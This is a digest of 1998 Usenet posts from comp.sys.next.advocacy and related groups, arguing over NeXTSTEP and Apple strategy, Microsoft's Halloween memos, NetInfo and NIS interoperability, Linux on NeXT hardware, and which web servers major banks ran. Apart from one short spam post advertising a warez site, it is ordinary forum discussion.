NNTP-Posting-Date: Thu, 05 Nov 1998 13:02:30 PDT
Organization: @Home Network
In <3641e5c6.0@news.depaul.edu> Jonathan W Hendry wrote:
> Ala the Data Discman? Oops, that didn't sell.
> Ala the MiniDisc? Oops, that didn't sell.
> Ala Betamax? Oops, that didn't sell.
> Ala their overpriced-underfeatured VAIO PC's? Isn't that the
> mistake Apple's trying to recover from?
>
>
BetaMax...is failure of historical portion. DataDiscman a non-starter.
MiniDisc is undecided as it is continuing format. VAIO got attention... it
might be considered successful if overpriced-underfeatured, as you say.
Sony is _the_ consumer brand. I'm short on a better match that would
strengthen Apple in consumer products. I remember all too well that mfg
plant& facility dragged NeXT down. Who's Apple kidding? MS + Qualcomm .vs.
PSION, Ericsson, Nokia + Motorola in the wireless device market. Sides are
being chosen right now. Apple isn't even with the program. They don't have
the resources to make it back when GoalPosts are moving this fast. I know
I'll be wireless. I don't need to be chained to my desktop. I know my wife
will be all electronic and wireless. We aren't going back to paper and
pencils , mouse and mousetops and be competitive in the marketplace.
I suggested way back that Apple + PSION is a formidable combination. So
while you're waiting for the perfect partner, Apple'll miss the dance.
Apple doesn't have 3-5 years to play with OSX's marketing message. So 2003
rolls around and the NeXTSTEP of my dreams is MacOS X ±€phew! I'll''ve gone
through two or three OS'es, wireless, distributed and probably by then
picking a "service" rather than product on gigabit Internet2.
Maybe you're all right... sit on OSX for a few more years and Apple won't
have to sell desktops anyway. Stop it already with all the NTkiller talk,
megaMerger threats and TrustBustin'. I guess this is not the time to act.
-r
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Thu, 05 Nov 1998 21:17:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71t4lv$d94$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com> <71qjm4$2ko$1@nnrp1.dejanews.com> <00702.13573$yb5.12364299@news.rdc1.sdca.home.com>
In article <00702.13573$yb5.12364299@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> In <71qjm4$2ko$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
>> In article <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>,
>> rr6013@yahoo.com (Rex Riley) wrote:
>>> I don't like the fact but at the highest levels of decision making,
>>> Industry bets on MS. A bet for good reason.
>>
>> Yeah? What exactly is the highest level of decision making you've had
>> personal experience with?
>
> The 7 largest banks in the US.
>
> ref: www.fstc.org
I went to <URL=http://www.fstc.org/principals.html> and applied
<URL=http://www.netcraft.co.uk/cgi-bin/Survey/whats> to every principal member
of this organization:
www.chase.com is running Netscape-Enterprise/3.5.1 on BSD/OS.
www.bankamerica.com is running Netscape-Commerce/1.12 on Solaris.
www.bankboston.com is running Microsoft-IIS/3.0.
www.citibank.com is running Netscape-Enterprise/3.0L on Solaris.
www.mellon.com is running Netscape-Enterprise/3.0L on Solaris.
www.cityholding.com is running WebSitePro/2.2.5 on Windows NT 4.
www.fleet.com is running Netscape-Enterprise/3.5.1G on Solaris.
www.huntington.com is running Netscape-Enterprise/2.01 on Solaris.
www.nationsbank.com is running Netscape-Enterprise/2.01-p100 on Solaris.
www.norwest.com is running Netscape-Enterprise/2.01 on HP-UX.
www.suntrust.com is running NCSA/1.4 on AIX.
www.wachovia.com is running Netscape-Enterprise/2.01-p100 on Solaris.
www.wellsfargo.com is running Netscape-Communications/1.1 on DIGITAL UNIX.
11 of the 13 aren't using Microsoft for their web server. Fact is, most of
these financial institutions are running Netscape over Solaris.
Care to explain this contradiction between your claims and reproducable facts?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Thu, 05 Nov 1998 21:56:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71t6up$gjr$1@nnrp1.dejanews.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com> <71qa29$k42@papoose.quick.com> <3640DBD9.17D3332F@ericsson.com> <71r6a5$r41$1@nnrp1.dejanews.com> <3641D68F.25527651@ericsson.com>
In article <3641D68F.25527651@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> Charles Swiger wrote:
>> Actually, there is. NeXT machines play nice with other vendor's standards,
>> like NIS. People using something like Visual J++ create "Java" programs that
>> don't play nice with other JVMs.
>
> Noted: you're comparing "NeXT machines", on one hand, with "Visual J++",
> on the other. I could easily say that Microsoft machines play nice with
> other vendors' standards, and be partially correct, just as your
> statement was partially correct. Comparing tool for tool, Visual J++
> "plays nice" in almost the same way that NetInfo Manager "plays nice"
> with other network administration tools.
You can stretch any analogy too far. The NetInfo tools let you freely get
data into and out of NetInfo, so you can interoperate just fine with flatfile
or NIS. Where's the tool that lets a J++-created program using M$ "Java"
extentions run elsewhere?
> Instead of taking offense at what you perceive to be criticism of
> NetInfo, you should note that I'm not actually criticizing NetInfo.
Didn't say you were.
>> While you can disable NetBEUI, you can't disable NetBIOS on a network-aware
>> NT box.
>
> So what? With NetBIOS running no fundamental changes are apparent in the
> operation of the system. As far as I know, an NT machine with NetBEUI
> disabled will not broadcast service availability, and the net effect (no
> pun intended) on the network will be nil.
It's not. Try sniffing network packets on port 139/tcp (actually 136-139)
when you've got Windows boxen on the network. They continually generate
packets at a rate a few per machine per second.
>> Futhermore, many people did regard the tight integration between
>> NEXTSTEP and NetInfo to be a problem, which is why we were happy when
>> OPENSTEP/Mach (aka NEXTSTEP 4.x) allowed you to completely disable NetInfo.
>>
>> Heaven forfend that Mike would honestly represent someone else's position,
>> though, especially when it gets in the way of an argument he wants to make.
>
> Whence? Dunno what you mean. Or maybe you don't know what I mean, one or
> the other, Chuck.
Remember saying: "It is not possible to disable NetInfo in NeXTstep 3.3, which
is what I used for a brief time. If Windows NT were to make it impossible to
disable WINS or Windows Domain Services or NetBEUI, I'm quite sure you
would be screaming. But from NeXT it's not a problem."
That's a deliberate misrepresentation of our position. Disabling NetInfo was
a problem, and many people (including myself) have said so....
>> People using advanced networking tools like NIS+ or NetInfo could
>> interoperate just fine (both as client and server) with flat files or NIS.
>> Been there, done that, more than once.
>
> And Microsoft's JVM will work just fine with 100% Pure Java programs, as
> well. What's your point?
>
> > Programs using M$ "Java" extensions don't run anywhere else but on a M$
> > platform. Big difference.
>
> Now you're talking about the client, be it a machine or a Java program.
Exactly.
> In either case (non-100% Pure Java program, NetInfo or NIS+ client) the
> client will *not* run on a "standard" server (100% Pure Java JVM,
> NIS/flat-file server).
Plain NIS servers work just fine with NIS+ or NetInfo. Sun explicitly
designed NIS+ to be backwards compatible and to work with NIS domains without
modification. With NetInfo, NeXT provided tools to extract info from NetInfo
into the common format that could be used with either flatfile or NIS
systems.
>>> Just as no NetInfo client can be served by a non-NeXT server.
>>
>> Surprise-- you're absolutely wrong. A company called Xedoc made NetInfo
>> server products which let various other Unix boxes like Solaris and HP/UX
>> machines provide NetInfo to clients.
>
> As you mentioned before. I should have said "non-NetInfo server", which
> was of course the point. Reading yet?
Yeah, I'm reading.
NeXT machines work just fine with non-NetInfo servers because they aren't
exclusively NetInfo clients, they can also be NIS clients, or read flatfiles.
Read the chapter in the NeXT Administration book about "heterogenous
networks", where NeXT described exactly how to work with a network where the
primary network info mechanism was NIS instead of NetInfo.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: jmeacham@wittgenstein.jhuccp.org (James D. Meacham)
Newsgroups: comp.os.linux.m68k,comp.sys.next.advocacy
Subject: Re: Linux for NeXT?
Date: 3 Nov 1998 17:39:19 GMT
Organization: The Center for Communications Programs of the Johns Hopkins University
Message-ID: <71nf47$cj1@news.jhu.edu>
References: <36382E60.2278743@astroinfo.org> <d3ww5ju0og.fsf@valhall.cern.ch>
<71a8rv$152@news.jhu.edu> <d367cxqejq.fsf@valhall.cern.ch>
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In <d367cxqejq.fsf@valhall.cern.ch> Jes Sorensen wrote:
> >>>>> "James" == James D Meacham <jmeacham@wittgenstein.jhuccp.org> writes:
>
>
> First of all, STOP posting this to a newsgroup and sending it by mail
> to me at the same time!!! It is incredibly rude and I hate finding out
> that I just answered to something by mail which I also needs to answer
> in a newsgroup!
Jes, jeez, you might want to try decaf...If that was a problem for you, it
would have been more polite and more discreet to send me an e-mail saying
that it bothered you. I actually didn't know that that had happened since it
is a feature of my newsreader that I was unaware was switched on by default.
And besides, as far as I know, you've never actually replied by e-mail to me
(or I would have gotten one, I assume) so methinks you are making a large
noise about something that has never actually, in fact, taken place. So you
might want to try a little bit of charity and the assumption that people
aren't trying to make your life difficult; you'll find that good will
generally comes back to you.
> James> I gotta ask, why would you want a unix for a machine that
> James> already runs unix, has a whole bunch of apps, and has the
> James> nicest GUI going. Linux developers have been trying very hard
> James> to imitate the UI (AfterStep, WindowMaker, Nextaw, etc), so why
> James> bother if you can pick up a copy of NeXTstep for well under
> James> $100, with all the very sophisticated free ware you could ever
> James> want. I mean, the best commercial software for the NeXT, the
> James> Lighthouse Apps, got released to the PD (or something like it).
> James> I love linux as much as the next guy (run it on all my intel
> James> boxes) but I just don't understand wanting to run Linux on
> James> black HW that was optimized for NeXTstep.
>
> Well it's quite simple, NEXTSTEP comes with a prehistoric BSD derived
> UNIX which is absolutely terrible. Vital syscall's such as mmap()
> simply do not exist.
OK. fair enough. As a user/sysadmin and not a programmer, things like that
are not anything that have bothered me. Though there are some kernel/mod
features, like IP masquerading, that are missing in the NeXT OS that have
forced me to use other systems for routing and the like. So while it's true
that there are some things missing from the OS because of it's archaic
genealogy, I've mostly never missed them. Again, you milage may (and
apparently has) vary (ied).
> Second, the GUI stinks, I just hate it. Working in terminals on a NeXT
> is absolutely dreadful, you have to use the mouse to open up another
> window and the whole handling of activation of windows is terrible.
I've come to think the 3/4 of the GUI thing is really an aesthetic judgement.
While there are certainly shortcomings in the NeXT UI, for my purposes, with
a few addons (BackManager, Fiend, etc) it is the best UI I have found,
Again, as you point out, there is an over-reliance on the mouse (what I
wouldn't do to be able to switch the *active* window from the keyboard) and
it would be great if a little more functionality, a-la-X-windows, was built
into the 2nd mouse button. My attachment to it may have something to do with
the fact that it has been my primary work platform since 1992 and I am so
used to it that it works with all the forethought I need for my right hand.
But I also just think it is elegant and attractive in a way I've not found
any other UI. Again, this is an aesthetic judgement that is impossible to
quantify or argue constructively, but I really do think that Keith Ohlfs did
a masterful job of putting together a really beautiful user interface.
To open another terminal window, command-n works for me, at least in Stuart,
Scott Hess's most excellent Terminal replacement.
There are only about 40,000 of these machines, many of which have been taken
out of service, destroyed, or are sitting in basements and warehouses. The
ones that are left are mostly happily running NeXTSTEP/OPENSTEP. It just
seems to me that porting Linux to black hardware would be a big task for what
is probably a tiny audience. Don't get me wrong, if you all get Linux
running well, I'll clear out a partition on one of my several NeXTstations
for it, but I, and most people I know that have NeXTs, have been very happy
with the NeXT OS for Black HW.
(I hope the comp.sys.next.advocacy folk don't mind me cross-posting this, but
it seemed like a line of discussion that might interest the advocacy
group...)
--
James David Meacham, 3rd jmeacham@wittgenstein.jhuccp.org
Web Systems Administrator/Internet Services Coordinator
Center for Communications Programs 410-659-6367
The Johns Hopkins University 410-659-6266 (fax)
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Thu, 05 Nov 1998 17:01:46 -0600
Organization: Ericsson North America Inc.
Message-ID: <36422E5A.3E7CE996@ericsson.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com> <71qa29$k42@papoose.quick.com> <3640DBD9.17D3332F@ericsson.com> <71r6a5$r41$1@nnrp1.dejanews.com> <3641D68F.25527651@ericsson.com> <71t6up$gjr$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
[cut]
> It's not. Try sniffing network packets on port 139/tcp (actually 136-139)
> when you've got Windows boxen on the network. They continually generate
> packets at a rate a few per machine per second.
That's unfortunate. I want to try this myself when I have an
opportunity.
> Remember saying: "It is not possible to disable NetInfo in NeXTstep 3.3, which
> is what I used for a brief time. If Windows NT were to make it impossible to
> disable WINS or Windows Domain Services or NetBEUI, I'm quite sure you
> would be screaming. But from NeXT it's not a problem."
>
> That's a deliberate misrepresentation of our position. Disabling NetInfo was
> a problem, and many people (including myself) have said so....
I don't care how well I'm representing your position when I'm talking to
someone else. Do you have a problem with that? I made the quote above in
direct response to someone named "James E. Quick", who said:
<quote>
> Netinfo Is certainly different, and in my opinion better, but it
> in no way locked you into anything.
</quote>
[cut]
> > In either case (non-100% Pure Java program, NetInfo or NIS+ client) the
> > client will *not* run on a "standard" server (100% Pure Java JVM,
> > NIS/flat-file server).
>
> Plain NIS servers work just fine with NIS+ or NetInfo.
They work with NIS+ if NIS compatibility mode is enabled. I have no idea
how provisioning is set up for NetInfo.
The claim could be made that Macs are handled fine by NetWare servers.
Macintosh namespace support must, in fact, be enabled on NetWare servers
before they will serve MacOS clients correctly. It usually is *not*
enabled, because it dramatically affects performance, just as NIS
compatibility mode affects both performance and the complexity of
machine configuration.
None of which is to say that you are incorrect. You are, in fact, 100%
correct. However, you said "server" and I said "client". In both cases,
an extended server may deal with non-extended clients. However, extended
clients cannot deal with non-extended servers unless a non-extended
client is *also* installed (such as yp tools installed alongside nis+
clients).
This is a fairly old pattern in computers; Microsoft certainly did not
invent it, nor is it the only entity to engage in such practices
recently. The practice itself is not wrong; in fact, it is entirely
necessary for progress.
> Sun explicitly
> designed NIS+ to be backwards compatible and to work with NIS domains without
> modification. With NetInfo, NeXT provided tools to extract info from NetInfo
> into the common format that could be used with either flatfile or NIS
> systems.
Is this a dynamic process? Or is it a conversion/migration tool? Can I
run a NetInfo/NIS gateway with standard tools?
> > As you mentioned before. I should have said "non-NetInfo server", which
> > was of course the point. Reading yet?
>
> Yeah, I'm reading.
>
> NeXT machines work just fine with non-NetInfo servers because they aren't
> exclusively NetInfo clients, they can also be NIS clients, or read flatfiles.
*NeXT machines*, not NetInfo machines. This is because NeXT machines
have NFS/NIS clients installed alongside NetInfo clients. In effect
there are *two* clients. However, as you have noted, not being able to
disable one of those clients *is* a problem.
Yes, you said it was a problem, and it pretty much obviates the need for
this discussion. In fact, before "James E. Quick" ever responded to my
post regarding NetInfo, you posted something on the order of
acknowledgement, or even agreement.
I'm not sure what you say you're disagreeing with at this point.
> Read the chapter in the NeXT Administration book about "heterogenous
> networks", where NeXT described exactly how to work with a network where the
> primary network info mechanism was NIS instead of NetInfo.
Read the section on Microsoft's Developer Connection Website regarding
writing 100% Pure Java apps.
MJP
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Thu, 05 Nov 1998 23:12:26 GMT
Organization: Airnews.net! at Internet America
Message-ID: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Thu Nov 5 17:03:44 1998
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
http://www.opensource.org/halloween2.html
"The effect of patents and copyright in combatting Linux remains to be
investigated."
Dear gawd. Add that to the comment about "fighting the process not a
single company" in previously leaked document and you get a cold chill
up your spin.
Someone needs to find _every_ software copyright and patent that
The Borg owns. What's to stop M$ from simply breaking the GNU license
and fighting the issue for years in court while they crush Linux's
momentum?
They've done similar things to Netscape, SUN and Novell. All M$ needs
to do is stop Linux's momentum, and they've won. Nothing more.
I _really_ don't want a chyk name Ripley to have to fight Aliens a few
hundred years down the road with the M$ designed 'droids keep keep
killing people becuase of "a feature" in their brain.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
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Subject: E-Mail Privacy
Newsgroups: comp.sys.next.advocacy
Organization: Web Studio Online
Message-ID: <130943746219952640@mailcity.com>
Date: Thu, 05 Nov 1998 23:36:05 GMT
NNTP-Posting-Date: Fri, 06 Nov 1998 00:36:05 MET DST
Music, warez and more at:
http://www.angelfire.com/ny/cmoninon/main.html
---
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From: andrew@erlenstar.demon.co.uk
Organization: Annihilator v0.3
Spam (EMP) cancelled - type=NAPRO
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Thu, 05 Nov 1998 23:25:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71tc5f$nfl$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com> <71qjm4$2ko$1@nnrp1.dejanews.com> <3640DCAA.9E8FC69C@ericsson.com> <71r4q3$phq$1@nnrp1.dejanews.com> <3641D1BB.87B4A728@ericsson.com>
In article <3641D1BB.87B4A728@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> Charles Swiger wrote:
> [cut]
>> Satisfied, Mike? Or is it time for some rabies shots?
>
> Mighty, aren't you calling the kettle black?
No. The thought makes me ill.
> You asked a very loaded and challenging question;
I asked a very challenging question, agreed.
It was not "loaded"-- if someone claims to know facts about the highest
echelons of upper mangement, and their claims contradict real-world
observations, then they have an obligation to substantiate their claims if
they wish to be believed.
I could go into that whole notion of repeatable, refutable, and testable
evidence, but we all know where that would go....
> you should have evened the playing field first...if you had
> integrity, that is.
I have integrity. I'd be offended by a comment like that from someone who
knew me and I respected. You don't qualify.
> I'm not surprised that you took offense; after all, it was a direct
> challenge to the insulting question you asked.
My question was not offensive. Some of the implications of my question may or
may not be offensive, but whatever. Rex didn't seem to take it as a personal
attack, so why should you?
(A rhetorical question, of course-- you'd probably argue with me if I claimed
the sun is going to rise in the east tomorrow morning.)
> What surprises me is what you took offense at:
>
> <quote>
>
> You should have noted that I never claimed such experience, nor did I
> claim to know some irrefutable "fact" about "the highest levels of decision
> making".
>
> </quote>
>
> What in the world does this have to do with your question?
I wrote that; why would I take offense at it?
As for your question, I don't attempt to argue from a position of authority,
because my arguments can stand or fall on their own merits. I don't need to
bolster them with props.
> I don't care what you *didn't* claim; that you didn't claim *anything* is
> the whole problem.
Really? Do you believe that arguments should be judged on their merit of the
person stating them, rather than on their objective merits alone?
> Before you ask belittling and loaded questions of opponents you
> should at least have the good grace to position yourself so it's clear
> that you're about to "pull rank", so to speak, using your background as
> a battering ram against future discussion.
Why would I do that? While I have a variety of experience, I'm under no
illusions that other people do not also have many worthwhile experiences that
I can learn from.
If anything, my approach is to cut through the noise and provide (or demand,
depending on which side of a discussion I'm on) provable facts, hard
references, and personal experience rather than third-hand distortions.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Dilemma
Newsgroups: comp.sys.next.advocacy
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com> <71qjm4$2ko$1@nnrp1.dejanews.com> <00702.13573$yb5.12364299@news.rdc1.sdca.home.com> <71t4lv$d94$1@nnrp1.dejanews.com>
Message-ID: <3642373b.0@news.depaul.edu>
Date: 5 Nov 98 23:39:39 GMT
Charles Swiger <chuck@codefab.com> wrote:
> 11 of the 13 aren't using Microsoft for their web server. Fact is, most of
> these financial institutions are running Netscape over Solaris.
> Care to explain this contradiction between your claims and reproducable facts?
Not to speak for Rex, but IBM, DEC, and Sun are associate members of fstc.org,
but Microsoft doesn't appear to be represented.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
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References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>
<71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>
<71qjm4$2ko$1@nnrp1.dejanews.com> <00702.13573$yb5.12364299@news.rdc1.sdca.home.com>
<71t4lv$d94$1@nnrp1.dejanews.com>
Message-ID: <dcr02.13812$yb5.12921880@news.rdc1.sdca.home.com>
Date: Fri, 06 Nov 1998 00:15:05 GMT
NNTP-Posting-Date: Thu, 05 Nov 1998 16:15:05 PDT
Organization: @Home Network
In <71t4lv$d94$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> In article <00702.13573$yb5.12364299@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
> > In <71qjm4$2ko$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> >> In article <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>,
> >> rr6013@yahoo.com (Rex Riley) wrote:
> >>> I don't like the fact but at the highest levels of decision making,
> >>> Industry bets on MS. A bet for good reason.
> >>
> >> Yeah? What exactly is the highest level of decision making you've had
> >> personal experience with?
> >
> > The 7 largest banks in the US.
> >
> > ref: www.fstc.org
>
[snip webserver observations]
> 11 of the 13 aren't using Microsoft for their web server. Fact is, most
of
> these financial institutions are running Netscape over Solaris.
>
> Care to explain this contradiction between your claims and reproducable
facts?
>
>
casual facts are not absolute... this virtual organisation is building
eCommerce backoffice check systems around MS technologies. There are no
system constraints wrt webhosting.
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>
<71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>
<71qjm4$2ko$1@nnrp1.dejanews.com> <00702.13573$yb5.12364299@news.rdc1.sdca.home.com>
<71t4lv$d94$1@nnrp1.dejanews.com> <3642373b.0@news.depaul.edu>
Message-ID: <Hfr02.13846$yb5.12921880@news.rdc1.sdca.home.com>
Date: Fri, 06 Nov 1998 00:18:47 GMT
NNTP-Posting-Date: Thu, 05 Nov 1998 16:18:47 PDT
Organization: @Home Network
In <3642373b.0@news.depaul.edu> Jonathan W Hendry wrote:
> Charles Swiger <chuck@codefab.com> wrote:
>
> > 11 of the 13 aren't using Microsoft for their web server. Fact is, most
of
> > these financial institutions are running Netscape over Solaris.
>
> > Care to explain this contradiction between your claims and reproducable
facts?
>
> Not to speak for Rex, but IBM, DEC, and Sun are associate members of
fstc.org,
> but Microsoft doesn't appear to be represented.
>
>
True last I knew. Tandem, NCR, Open Software and others are background
participants...
-r
From: Thad Phetteplace <tdphette@ren.dias.net>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: A curiosity in the Halloween document
Date: 5 Nov 1998 18:44:22 -0600
Organization: Norlight Telecommunications
Message-ID: <36424666.0@199.170.176.9>
References: <71qhhc$l49@newsb.netnews.att.com>
In comp.os.linux.advocacy gupta@knim.tm.tta.moc-mirror after @ wrote:
> The Microsoft Halloween document makes the claim :
> "In the short run, IIS soundly beats Apache on SPECWeb.
> Moving further, as IIS moves into kernel and takes advantage
> of deper integration with NT, this lead is expected to increase
> further."
I don't know beans about SPECWeb, but I can tell you that in a real world
situation (i.e. an ISP web server) Apache on Linux runs circles around
IIS on NT running on comparable hardware. This is fact, I've tried both.
IIS/NT did well under a light load and even returned some pages slightly
faster than Apache/Linux... but as soon as we cranked up the volume, NT's
performance went into the toilet. Apache/Linux scales MUCH better,
particularly when you are doing virtual servers and a lot of cgi type
processing.
I find the 'IIS moving into the kernel' comment interesting. This might
make an NT server a little snappier as a web server, but I can't imagine
it will help the servers performance when it tries to simultaneously handle
other server roles. It also brings up some interesting stability issues.
Yet another thing to potentialy cause BSODs perhaps?
Thad
Message-ID: <363D2DBF.9861F0D4@nstar.net>
Date: Sun, 01 Nov 1998 21:57:51 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <363CE94C.437A392C@nstar.net> <71j6dk$ro4$1@supernews.com>
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Donald R. McGregor wrote:
> Apple's declared core markets are consumer, education, and content
> producers. I don't see servers in there.
Right! Your point?
> What critical need are they filling in the departmental server
> sector? They'll probably piggyback some sales off of WebObjects
> to programmers on OSX, to eventually deploy (at least at big sites)
> on other platforms, but other than that?
I still don't get your point. Rex said that Rhapsody *could* have been
an NT killer but for Apple's lack of focus, Sal said that it couldn't. I
said it could, and now you're telling me Apple won't do it. As far as I
can tell, you're just reinforcing Rex's point.
> You know, I was worried about the death of clones, too. But here
> we are, Apple is profitable, the death spiral has been halted,
There never was a "death spiral". Look at the figures; the company was
doing quite well 12 months before the December 1995 loss. Unless a
"death spiral" can happen that quickly, you've been duped into the Big
Lie just like everyone else.
> the stock has tripled,
Tripled? From its 52-week low, you mean. It still isn't where it was in
1994, or even 1995. Spindler was grossly incompetent, and Jobs is only
slightly less incompetent.
> Apple is shipping good products, and has
> a chance again. I find it hard to bitch and moan too much.
Who's bitching? I'm just trying to juggle all the rhetoric in a
reasonably systematic way. The death of cloning doesn't mean anything to
me anymore, I assure; I just get a tiny amount of private satisfaction
from the see-saw effect.
MJP
Message-ID: <36425AFD.D0D8EC3D@solarsystems.com>
From: Douglas Lee Hendrix <hendrix@solarsystems.com>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net>
Content-Type: text/plain; charset=us-ascii
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Date: Fri, 06 Nov 1998 02:12:32 GMT
NNTP-Posting-Date: Thu, 05 Nov 1998 18:12:32 PDT
Organization: @Home Network
Sheldon Gartner wrote:
> http://www.opensource.org/halloween2.html
>
> "The effect of patents and copyright in combatting Linux remains to be
> investigated."
>
> Dear gawd. Add that to the comment about "fighting the process not a
> single company" in previously leaked document and you get a cold chill
> up your spin.
>
> Someone needs to find _every_ software copyright and patent that
> The Borg owns. What's to stop M$ from simply breaking the GNU license
> and fighting the issue for years in court while they crush Linux's
> momentum?
>
> They've done similar things to Netscape, SUN and Novell. All M$ needs
> to do is stop Linux's momentum, and they've won. Nothing more.
>
> I _really_ don't want a chyk name Ripley to have to fight Aliens a few
> hundred years down the road with the M$ designed 'droids keep keep
> killing people becuase of "a feature" in their brain.
Using the age old argument of "who are you going to sue when Linux
trashes your corporate database?" . . .
I pose the question, who would Microsoft sue? Linux is simply available
for download on too many ftp sites to be able to stem the tide.
--
_____
/ \ Douglas Lee Hendrix
| | hendrix@solarsystems.com
^^ (o)(o) Solar Systems
C ,---_)
| |,___| Coming Soon . . .
| \__/ The Ultimate Entertainment for the Connected Consumer
/_____\ http://www.solarsystems.com/products/frontier
/_____/ \
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
References: <71kj6v$f4j@shelob.afs.com> <71sgds$gdb@netaxs.com> <1di0nr8.1ar7dvtsb96oN@p044.intchg2.net.ubc.ca>
From: Robert Nicholson <steffi@shell8.ba.best.com>
Date: 05 Nov 1998 17:53:04 -0800
Message-ID: <yl3af25bn9b.fsf@shell8.ba.best.com>
Unfortunately, the recent collaboration b/w M$ and Qualcomm was to sabotage
the PdQ development IMHO. So with that in mind I don't think PalmOS has
much of a chance unless "Handspring" can sign some good deals.
Expect the PdQ development to be delayed or potentially dropped. Nice
to see the Handspring folk saying that they don't believe they can do
what they have planned with WinCE though.
bbennett@unixg.ubc.ca (Bruce Bennett) writes:
